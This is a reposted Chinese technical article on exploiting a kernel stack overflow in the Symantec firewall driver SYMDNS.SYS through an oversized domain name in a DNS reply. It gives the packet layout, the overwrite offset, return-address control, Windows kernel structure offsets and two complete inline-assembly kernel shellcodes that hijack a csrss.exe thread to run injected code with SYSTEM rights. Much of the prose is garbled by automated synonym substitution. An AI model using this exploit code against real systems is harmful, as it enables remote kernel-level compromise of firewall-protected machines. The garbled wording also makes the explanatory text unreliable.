设为主页 | 加入收藏 | 繁體中文

SYMANTEC防火墙内核堆栈溢出漏洞利用方法总结

  作者:SoBeIt (kinsephi_at_hotmail.com)  来自:宁静焦点
  SYMANTEC防火墙内核堆栈溢出毛病利用要领总结
  SoBeIt
  原来根据FLASHSKY大牛在峰会上的陈诉阐发了这个毛病写了两篇漫笔,,由于写得匆匆,内里不免有不少错漏,朋友建议我汇总一下,也方便日后参考,于是把两篇文章汇总并做了些修正。
  这个毛病与大少数堆栈溢出毛病不同的是它是发生在内核态里。堆栈溢出发生于SYMANTEC防火墙的驱动SYMDNS.SYS中,当处置惩罚DNS答复时,由于未检验总域名长度,招致可以输出一超长域名招致溢出,溢出发生在RING0、IRQL = 2(DISPATCH_LEVEL)、 历程PID为0(idle历程)的情况下。
  一个DNS报文格式如下:
  "\xEB\x0B"    //报文ID,可以随意设置,但在这个毛病里是别有效途的,背面会说到
  "\x80\x00"    //报文FLAG,15地位1表示这是一个答复报文
  "\x00\x01"    //题目数目
  "\x00\x01"    //答单数目
  "\xXX\xXX"    //受权资源记录数,在这里不紧张,随便设置
  "\xXX\xXX"    //格外信息资源记录数,在这里不紧张,随便设置
  以上部门为DNS报文头
  "\xXX\xXX\x..."    //域名,格式为每个分段域名长度+域名内容,比如www.buaa.edu.cn就是
  \x03\x77\x77\x77\x04\x62\x75\x61\x61\x03\x65\x64\x75\x02\x63\x6e\x00
  w   w   w       b   u   a   a       e   d   u       c   n
  \x00表示到了末尾。处置惩罚的时间会把那长度记录数换成0x2e,就是".",就完成了处置惩罚。
  在SYMDNS.SYS中处置惩罚传入域名的函数位于SYMDNS.SYS基地点+0xa76处,这个函数在堆栈里分配了0x214个字节空间,再将域名拷入,虽然会计算总长度并做限定,但由于计算错误,算了也是白算,招致可以输出超长域名发生堆栈溢出。传入的每个域名分段有最大长度限定,不克不及超过0x40个字节,所以我每段SHELLCODE长度都是0x3f(63)个字节。在笼罩了532个字节后,笼罩了该函数的返回地点。这个毛病有个特点,就是在堆栈中二次处置惩罚传入的域名,招致堆栈中返回地点之前的SHELLCODE的后半部门面目全非、惨不忍睹。现在有两种执行SHELLCODE的要领:
  一是在我们笼罩的返回地点所在的esp+0xc处生存有我们整个DNS报文(包括DNS报文头)的地点,是一个在非分页池的地点,
  74816d74 4c816c9b 816d002e 816c9e34
  |_____esp指向这                 |_______这个就是非分页池的地点
  现在各人应该晓得该干啥了吧?虽然在内核里没有牢固的jmp [esp+0xc]、 call [esp+0xc]如许的地点,但我们可以变通一下,使用诸如pop/pop/pop/ret如许的指令组合,机器的控制权就交到我们手上了。不外这3条pop指令里最好不要带有pop ebp,不然会莫明其妙的返回到一个稀罕的地点。在strstr函数的末了有两个pop/pop/pop/ret的组合挺合适。现在明白开头谁人报文ID的作用了吧?\xEB\x0B是一个直接跳转的机器指令,跳过一开端没用的DNS报文头和第一段SHELLCODE长度计数字节。FLASHSKY在会刊里说要跳过长度计数字节,但0x3f对应的指令是aas,对EAX举行ascii调整,所以在一般不影响EAX和标志的情况下可以把这个0x3f也看成SHELLCODE的一部门,可以省下不少字节^_^。
  二是在堆栈里笼罩的返回地点的esp+0x8处开端执行我们的SHELLCODE,返回地点之后的SHELLCODE谁人函数不会做处置惩罚。但如果SHELLCODE着实太长的话会笼罩到有关DPC调理的一些信息。一个变通的要领,可以先跳回返回地点前的SHELLCODE的前半部门没被修正的部门,可以执行靠近200个字节,再跳到返回地点后的SHELLCODE部门执行,如许空间就应该充足了。但由于堆栈中的SHELLCODE的每个段开端的0x3f已经被换成了0x2e,0x2e不单独对应机器码,所以只能在每个SHELLCODE段的末了部门改成\xeb\x01跳过0x2e。
  在宁静返回法里,由于要取出堆栈里背面函数的返回地点,不克不及笼罩太多,只能使用第一种要领在池中执行SHELLCDOE,宁静返回法的内核态SHELLCODE只要230个字节左右,池中还剩下310个字节左右可以利用。在非宁静返回法由于关于DPC调理、被锁定的资源等关键数据所处堆栈地位间隔溢出点比力大,所以可以在堆栈中执行。
  宁静返回法
  现在以后情况是0号历程,要把历程地点空间切到其他历程就得先获得谁人历程的EPROCESS地点。0号历程很特别,就是该历程根本不挂在全部历程的链表上,比如说ActiveProcessLinks、SessionProcessLinks、WorkingSetExpansionLinks,正常情况来说只能枚举线程的WaitListHead来枚举全部线程并果断历程,如许很麻烦而且代码很长,但天无绝人之路,在KPCR+0x55c(+55c struct _KTHREAD *NpxThread)处生存有一个8号历程的一个线程ETHREAD地点,由ETHREAD+0x44处可以获得该线程所属EPROCESS的地点,而且8号历程是挂在除SessionProcessLinks之外的其它链表上的,所以现在我们可以或许获取其它历程EPROCESS地点了。下一步是切换历程地点空间,从目的历程EPROCESS+0x18处取出该历程页目次的物理地点并将以后CR3寄存器修正为该值既可(我一开端还修正了使命段KTSS中的CR3也为该值,效果发现这不是必需的)。然后在该历程内选择一个合适的线程来运转我们的用户态SHELLCODE,这个选择很紧张,由于以后IRQL = 2,任何访问缺页的地点都将招致IRQL_NOT_LESS_OR_EQUAL蓝屏错误,由于缺页会招致页面I/O,末了会在工具上等候,这违背了不克不及在IRQL = 2等候工具的规则。根据一个尺度的5调理状态模子的操纵体系,当一个线程等候过久就会招致该线程的内核堆栈被换出内存,如许的线程我们是不克不及用的。所以我们必要果断ETHREAD+=0x11e(+11e    byte     KernelStackResident)能否为TRUE,为TRUE表示该线程内核堆栈未被换出内存。这又关系到真相该选择哪个体系历程,选择体系历程如许返回的SHELL是SYSTEM的权限,该历程必需是个活泼的历程,才能包管时时候刻都有未被换出内存的线程。winlogon.exe是一定不可的,由于在大多情况下这是一个0事变集的空闲历程。在lsass.exe、smss.exe、csrss.exe这3个历程里我末了选择了csrss.exe,由于想想看WIN32的子体系无论怎样都应该闲不住吧:),事实也证明选择这个历程根本都可以找到合适线程。枚举一个历程的线程可以在EPROCESS+0x50处取链表头,该链表链住了该历程的全部线程,链表地位在ETHREAD+0x1a4处:
  struct _EPROCESS (sizeof=648)
  +000 struct _KPROCESS Pcb
  +050 struct _LIST_ENTRY ThreadListHead
  +050 struct _LIST_ENTRY *Flink
  +054 struct _LIST_ENTRY *Blink
  struct _ETHREAD (sizeof=584)
  +000 struct _KTHREAD Tcb
  +1a4 struct _LIST_ENTRY ThreadListEntry
  +1a4 struct _LIST_ENTRY *Flink
  +1a8 struct _LIST_ENTRY *Blink
  或者EPROCESS+0x270处取链表头,链表地位在ETHREAD+0x240处:
  struct _EPROCESS (sizeof=648)
  +270 struct _LIST_ENTRY ThreadListHead
  +270 struct _LIST_ENTRY *Flink
  +274 struct _LIST_ENTRY *Blink
  struct _ETHREAD (sizeof=584)
  +240 struct _LIST_ENTRY ThreadListEntry
  +240 struct _LIST_ENTRY *Flink
  +244 struct _LIST_ENTRY *Blink   
  剩下的就是在该历程地点空间内分配假造地点,锁定,并拷贝SHELLCODE过去,依次挪用API为:ZwOpenProcess(这里要细致,如果没转变CR3的话这个挪用会招致蓝屏,由于地点空间不符)->ZwAllocateVirtualMemory->ZwLockVirtualMemory->ZwWriteVirtualMemory,为了通用性我用mov eax, API NUMBER; int 2e如许的底层接口来挪用API。在挪用ZwWriteVirtualMemory之前我们得先修正该线程下次要执行的EIP,它是生存在KTRAP_FRAME+0x68处,把它修正为我们分配的地点。KTRAP_FRAME在线程堆栈底InitialStack-x29c的地方,ETHREAD+0x128直接指向该地点。记得将原来的EIP生存在我们的用户态SHELLCODE中,类似push 0x12345678; ret如许的格式,代码就会返回12345678的地点,所以在内存中就是\x68\x78\x56\x34\x12\xc3,将原来的返回地点笼罩谁人12345678就行了,在执行完我们的功效代码后线程会恢复正常执行。
  末了一段是一些牢固的针对该毛病的特性返回,重要是取出未被笼罩的返回地点并让EBP恢复正常,并设置特定的寄存器值以满足返回后的检测条件。这里我跳过了全部剩下的在SYMDNS.SYS的挪用,由于那些函数都会从堆栈中取值,而堆栈值很多都被我们改了,所以我直接返回到tcpip!UDPDeliver处的挪用,返回这里有个好处,就是它完全不管你处置惩罚了什么、怎么处置惩罚,它尽管检测返回值eax能否为0,很切合我们的要求,呵呵。
  这个SHELLCODE大概只要3/4的乐成率,由于在有些情况下我们的DNS报文的地点不附加在esp+0xc处,另有有时会遇到历程全部线程都被换出了内存,另有一定的小概率会发生NDIS去世锁-_-有时间RP爆发时一天都没啥题目,有时假造机狂蓝屏。。。。有关内核溢出里最大的题目估计就是缺页的题目了,由于IRQL = 2下不克不及换页,所以有些情况下很可能有些关键的地方访问不了。一些变通的要领可以使用诸如work item,这可以在IRQL = 2下挪用,然后由体系事变者线程来替我们完成事变。这都是些革新假想。
  SHELLCODE由内核SHELLCODE和用户SHELLCODE构成,内核SHELLCODE负责返回并执行用户SHELLCODE,用户SHELLCODE则是普通的功效,细致得参加穿防火墙的代码就行。下面是内核SHELLCODE代码,没提供完整的SHELLCODE,由于一是只是为了技术研讨,而是不想被那些对技术一无所知却只想着粉碎的人利用。转成机器码只要230多个字节,根本不算太大:):
  __declspec(naked) JustTest()
  {   
  __asm
  {
  call go1
  go1:
  pop eax
  push eax
  mov ebx, 0xffdff55c
  mov ebx, dword ptr [ebx]
  mov ebx, dword ptr [ebx+0x44]
  push 0x73727363
  FindProcess:
  mov edi, esp
  lea esi, dword ptr [ebx+0x1fc]
  push 0x4
  pop ecx
  repe cmpsb
  jecxz go2
  mov ebx, dword ptr [ebx+0xa0]
  sub ebx, 0xa0
  jmp FindProcess
  go2:       
  pop edx
  mov edx, dword ptr [ebx+0x50]
  FindThread:
  movzx ecx, byte ptr [edx-0x86]
  dec ecx
  jecxz go3
  mov edx, dword ptr [edx]
  jmp FindThread
  go3:
  mov eax, dword ptr [ebx+0x18]
  mov ebp, esp
  sub esp, 0x40
  push edx
  mov cr3, eax
  push 0x10
  pop ecx
  xor eax, eax
  lea edi, dword ptr [ebp-0x40]
  ZeroStack:
  stosd
  loop ZeroStack
  mov byte ptr [ebp-0x38], 0x18
  lea edi, dword ptr [edx+0x3c]
  push edi
  lea edi, dword ptr [ebp-0x38]
  push edi
  lea edi, dword ptr [ebp-0x8]
  push 0x1f0fff
  push edi
  mov al, 0x6a
  lea edx, dword ptr [esp]
  int 0x2e
  add esp, 0x10
  mov byte ptr [ebp-0x3], 0x2
  push 0x40
  push 0x1000
  lea edi, dword ptr [ebp-0x4]
  push edi
  push eax
  lea edi, dword ptr [ebp-0xc]
  push edi
  push dword ptr [ebp-0x8]
  mov al, 0x10
  lea edx, dword ptr [esp]
  int 0x2e
  add esp, 0x18
  push 0x2
  lea ebx, dword ptr [ebp-0x4]
  push ebx
  lea ebx, dword ptr [ebp-0xc]
  push ebx
  push dword ptr [ebp-0x8]
  mov al, 0x59
  lea edx, dword ptr [esp]
  int 0x2e
  add esp, 0x10
  mov edi, dword ptr [ebp]
  pop edx
  mov edx, dword ptr [edx-0x7c]
  push dword ptr [edx+0x68]
  pop dword ptr [edi+0x210]
  push dword ptr [ebp-0xc]
  pop dword ptr [edx+0x68]
  add edi, 0x11c
  push eax
  push 0x120
  push edi
  push dword ptr [ebp-0xc]
  push dword ptr [ebp-0x8]
  mov al, 0xf0
  lea edx, dword ptr [esp]
  int 0x2e
  add esp, 0x100
  xor eax, eax
  mov esi, dword ptr [esp+0x38]
  mov ebp,esp
  add ebp,0x88
  ret 0x2c
  }
  }
  非宁静返回法二
  没完成非宁静返回法一,由于内里的技术要点都包括在宁静返回法和非宁静返回法二里了,而且限定着实太大,很让人不爽。重要就是谁人BAT的下载文件的内容,可以拜见相干文章。
  正如FLASHSKY所说,非宁静返回法二的关键在于恢复DPC,不象宁静返回法,我们完全不必体贴线程切换和DPC调理。不外FLASHSKY夸大了DPC被粉碎的情况,尤其是情况切换,就算在宁静返回法里,在执行我们的代码时体系也举行了数次情况切换和DPC调理(在int 0x2e里发生)。先让我们看看一个DPC调理是怎样完成的,以下是KPCR布局中触及到DPC调理的部门:
  +7e0 uint32 DpcInterruptRequested
  +7e4 void *ChainedInterruptList
  +7e8 uint32 CachePad3[2]
  +7f0 uint32 MaximumDpcQueueDepth
  +7f4 uint32 MinimumDpcRate
  +7f8 uint32 CachePad4[2]
  +800 struct _LIST_ENTRY DpcListHead
  +800 struct _LIST_ENTRY *Flink
  +804 struct _LIST_ENTRY *Blink
  +808 uint32 DpcQueueDepth
  +80c uint32 DpcRoutineActive
  +810 uint32 DpcCount
  +814 uint32 DpcLastCount
  +818 uint32 DpcRequestRate
  +81c void *DpcStack
  DPC的处置惩罚要领有两种,一种是把KDPC工具串上DpcListHead。在KiIdleLoop或KiDispatchInterrupt里,体系检测到以后DPC链表不为空,于是挪用KiRetireDpcList,KiRetireDpcList设置以后DpcRoutineActive状态为TRUE(M$在这里把ESP的值赋与该成员,显然任何时候ESP都是大于0的)并把DpcInterruptRequested设置为TRUE,然后从DpcListHead里取出串在该链表上的KDPC布局的DPC例程入口和参数。处置惩罚完后恢复原状并把DpcCount加一。另一种要领是等候KTIMER调理工具,DPC调理发生的频率是相当高的,但大部门时间都是处置惩罚定时器KTIMER过期DPC,很多DPC通过等候KTIMER的要领被在KiTimerExpiration->KiTimerListExpire里处置惩罚。这里的溢出是属于第一种要领,我们处于DPC调理中,DpcRoutineActive和DpcInterruptRequested都为TRUE,举行栈回溯就会发现是由KiIdleLoop挪用了KiRetireDpcList。显然这两处成员得恢复原来的0值(其实不恢复也可以,在第一个int 0x2e里如果发生了DPC调理后就会帮我们恢复,但就会降低溢出的乐成率,由于如果在int 0x2e在ATTACH历程前还没发生DPC调理体系就会蓝屏)。其实体系中有些蓝屏是体系故意挪用KeBugCheck以防备你做某些事,这些事变如果你处置惩罚得好是不会对体系孕育发生影响的,比如不克不及在DPC处置惩罚处于运动(就是DpcRoutineActive为TRUE)举行情况切换,但在这个毛病溢出里我们第一步就是举行情况切换:)。所以突破体系对我们的刁难而完成体系本身的功效,就是我们对内核感兴味的缘故原由,可以或许控制整个操纵体系真的很爽,扯远了,呵呵。恢复DPC有个技巧,既然上一次KiIdleLoop的挪用是KiRetireDpcList,那么IDLE线程的KernelStack(ETHREAD+0x28)处的内容一定指向KiIdleLoop里挪用KiRetireDpcList后的下一条指令:
  call    nt!KiRetireDpcList
  cmp     dword ptr [ebx+0x128],0x0
  如果不改动这里的话情况切换后体系恢复到这里执行,下一步就是果断生存在ebp里的DpcListHead代表的链表能否为空,但由于刚发生完一个情况切换ebp的值已经被修正为KTSS的值了,切换到IDLE线程后一定出错。所以我们必要人为的对这个地点(指挪用KiRetireDpcList后的下一条指令)做点手脚,加上0x2d,使它变为挪用了SwapContext后的下一条指令:
  call    nt!SwapContext
  lea     ebp,[ebx+0x800]
  显然ebp已经恢复了,DPC调理可以连续举行了。
  恢复DPC我们有两种选择,一是将以后DPC跳过,二是重新把以后DPC(这里是ndisMDpc)参加DPC链表头准备下一次重新调理。前一种要领的好处是方便,可以省下不少代码,也是我使用的要领,不外有一个小题目,就是无法再PING通,会孕育发生网络已被中断的错觉,其实网络是通的,SHELL也拿失掉。第二种要领虽然网络功效一切正常,不外远程的机器会出现一些异常,比如开端菜单无法再用,当然SHELL也一切正常。两种要领的配合点都是必需为后面加锁的NDIS_MINIPORT_BLOCK布局解锁,该布局地点生存在IDLE线程堆栈中间隔溢出点间隔比力大的地方,所以可以很宁静取到。
  下一步就是举行情况切换,要切换的线程是我们选择的目的特权历程内内核栈未换出的线程。把要切换的线程赋给KPCR+0x124处,把下一个要切换的线程(IDLE线程)赋于KPCR+0x128处,并把IDLE线程状态(ETHREAD+02d    byte     State)改为待命(0x3)。然后就是通过转变CR3切换历程地点空、修正TEB描述符指向新线程TEB、从目的要切换线程中取出KernelStack赋于以后esp,记住,从这里开端我们已经处于新线程的堆栈中了,如果你之前有什么紧张的信息压在IDLE线程的堆栈里,从速在切换ESP前出栈吧。另有一点很紧张的是,由于我们是强行把一个处于等候状态的线程举行情况切换并运转(要想找随处于停当状态且属于目的特权历程的线程着实太磨练RP了,其机率快可以比上抽六合彩了),就必需在等候链表KiWaitInListHead里把该线程摘除(这里说一下KiWaitInListHead和KiWaitOutListHead的区别,前者是处于等候状态且内核栈未被换出的线程链表,而后者是处于等候状态且内核堆栈已被换出的线程链表),否则就会在KiOutSwapKernelStack处发生去世循环。末了就是直接返回到KiSwapContext(这是该线程前次情况切换时生存在堆栈中的),体系就会接管事变了(这里必要提出的是,其实IDLE线程自从被赋于KPCR+0x128并被改为待命后,早在第一个int 0x2e就被调理执行了)。
  我开端时SHELLCODE的布局是先完成其它功效,再情况切换,效果遇到了个很稀罕的题目。就是在WinDBG里如果单步跟过ZwLockVirtualMemory的int 0x2e再g或者在该int 0x2e后任意处设置一个int 0x3断上去再g,体系都一切正常,但如果直接g或者干脆后面就没下过断点那么体系就会出现稀罕的题目。我猜想是WinDBG取代完成了一些DPC的挪用。我曾经尝试解决这个题目,效果被郁闷了N次,重要是在WinDBG的干预下系同一切正常。厥后想到后面几次情况切换和DPC调理都使用了IDLE线程的内核堆栈,而背面又直接修正回正常值(IDLE的KernelStack, 在ETHREAD+0x28处,是个稳定的值,不修正的话调理后会返回到错误的回址),估计题目发生在这里,所以我把SHELLCODE前后布局改了,先情况切换再完成其它功效,如许不会再干预IDLE的内核栈,事实证明如许是精确的:)另有就是我的情况切换代码是频频精简过的SwapContext版本,把全部无关紧要的代码全去失了,比如修正KPCR中某些不会用到的成员的代码全去失了,甚至连线程状态都没改,还是连结在等候状态,反正体系正常情况切换也不会检测正在运转的线程是什么状态,呵呵。
  下面是内核SHELLCODE代码,转换成机器码大概320个字节。如果用第二种恢复DPC的要领大概350个字节。这段代码是在池中执行的,换成在堆栈中执行时记得把内里一些关于堆栈的偏移地点修正一下:
  __declspec(naked)JustTest2()
  {   
  __asm
  {
  call go1
  go1:
  pop eax
  push eax
  mov ebp, 0xffdff80c
  mov ebx, dword ptr [ebp-0x2b0]
  mov ebx, dword ptr [ebx+0x44]
  xor eax, eax
  push 0x73727363
  FindProcess:
  mov edi, esp
  lea esi, dword ptr [ebx+0x1fc]
  push 0x4
  pop ecx
  repe cmpsb
  jecxz go2
  mov ebx, dword ptr [ebx+0xa0]
  sub ebx, 0xa0
  jmp FindProcess
  go2:       
  pop edx
  mov dword ptr [ebp], eax
  mov esi, dword ptr [esp+0x33c]
  mov byte ptr [esi+0x2d], al
  lea esi, dword ptr [ebx+0x50]
  FindThread:
  mov esi, dword ptr [esi]
  test byte ptr [esi-0x86], 0x1
  jnz go3
  jmp FindThread
  go3:
  mov edx, dword ptr [ebx+0x18]
  sub esi, 0x1a4
  mov ebx, 0xffdff000
  //        lea ecx, dword ptr [ebp-0xc]
  mov ebp, dword ptr [ebx+0x124]
  mov dword ptr [ebx+0x128], ebp
  inc byte ptr [ebp+0x2d]
  mov edi, dword ptr [ebp+0x28]
  add dword ptr [edi+0x8], 0x2d
  //        mov ebp, dword ptr [edi-0x8]
  //        add ebp, 0x4
  //        mov edi, dword ptr [ecx]
  //        mov    dword ptr [edi], ebp
  //        mov dword ptr [ebp+4], edi
  //        mov dword ptr [ecx], ebp
  mov dword ptr [ebx+0x124], esi
  mov cl, byte ptr [esi+0x2c]
  mov byte ptr [ebx+0x50], cl
  mov ebp, dword ptr [esi+0x5c]
  mov edi, dword ptr [esi+0x60]
  mov dword ptr [edi], ebp
  mov dword ptr [ebp+0x4], edi
  pop edi
  push dword ptr [esi+0x1c]
  pop dword ptr [ebx+0x8]
  mov esp, dword ptr [esi+0x28]
  mov ecx, dword ptr [esi+0x20]
  mov dword ptr [ebx+0x18], ecx
  mov ebp, dword ptr [ebx+0x3c]
  mov word ptr [ebp+0x3a], cx
  shr ecx, 0x10
  mov byte ptr [ebp+0x3c], cl
  shr ecx, 0x8
  mov byte ptr [ebp+0x3f], cl
  mov ebp, dword ptr [ebx+0x40]
  mov dword ptr [ebp+0x1c], edx
  mov cr3, edx
  push edi
  mov ebp, esp
  sub esp, 0x40
  push ebx
  push esi
  push 0x10
  pop ecx
  lea edi, dword ptr [ebp-0x40]
  ZeroStack:
  stosd
  loop ZeroStack
  mov byte ptr [ebp-0x38], 0x18
  lea edi, dword ptr [esi+0x1e0]
  push edi
  lea edi, dword ptr [ebp-0x38]
  push edi
  lea edi, dword ptr [ebp-0x8]
  push 0x1f0fff
  push edi
  mov al, 0x6a
  lea edx, dword ptr [esp]
  int 0x2e
  add esp, 0x10
  mov byte ptr [ebp-0x3], 0x2
  push 0x40
  push 0x1000
  lea edi, dword ptr [ebp-0x4]
  push edi
  push eax
  lea edi, dword ptr [ebp-0xc]
  push edi
  push dword ptr [ebp-0x8]
  mov al, 0x10
  lea edx, dword ptr [esp]
  int 0x2e
  add esp, 0x18
  push 0x2
  lea ebx, dword ptr [ebp-0x4]
  push ebx
  lea ebx, dword ptr [ebp-0xc]
  push ebx
  push dword ptr [ebp-0x8]
  mov al, 0x59
  lea edx, dword ptr [esp]
  int 0x2e
  add esp, 0x10
  mov edi, dword ptr [ebp]
  pop edx
  mov edx, dword ptr [edx+0x128]
  push dword ptr [edx+0x68]
  pop dword ptr [edi+0x1a0]
  push dword ptr [ebp-0xc]
  pop dword ptr [edx+0x68]
  add edi, 0x19a
  push eax
  push 0x120
  push edi
  push dword ptr [ebp-0xc]
  push dword ptr [ebp-0x8]
  mov al, 0xf0
  lea edx, dword ptr [esp]
  int 0x2e
  mov ebx, dword ptr [esp+0x14]
  add esp, 0x5c
  pop ecx
  mov dword ptr [ebx], ecx
  popfd
  ret
  }
  }   
  //后的代码是用于第二种DPC恢复的。
  后记:
  内核溢出是一个全新的领域,内里有很多东西值得我们去探索。这篇文章就算是抛砖引玉,如果能给各人有所帮助,也就算到达目的了。很多地方都有很多不足,尤其是非宁静返回法,还没找到能让体系完全恢复原样的要领。如果有什么错漏处或者可以革新的地方,接待向我提出。
  QQ:27324838
  EMAIL:kinvis@hotmail.com
 


    文章作者: 福州军威计算机技术有限公司
    军威网络是福州最专业的电脑维修公司,专业承接福州电脑维修、上门维修、IT外包、企业电脑包年维护、局域网网络布线、网吧承包等相关维修服务。
    版权声明:原创作品,允许转载,转载时请务必以超链接形式标明文章原始出处 、作者信息和声明。否则将追究法律责任。

TAG:
评论加载中...
内容:
评论者: 验证码: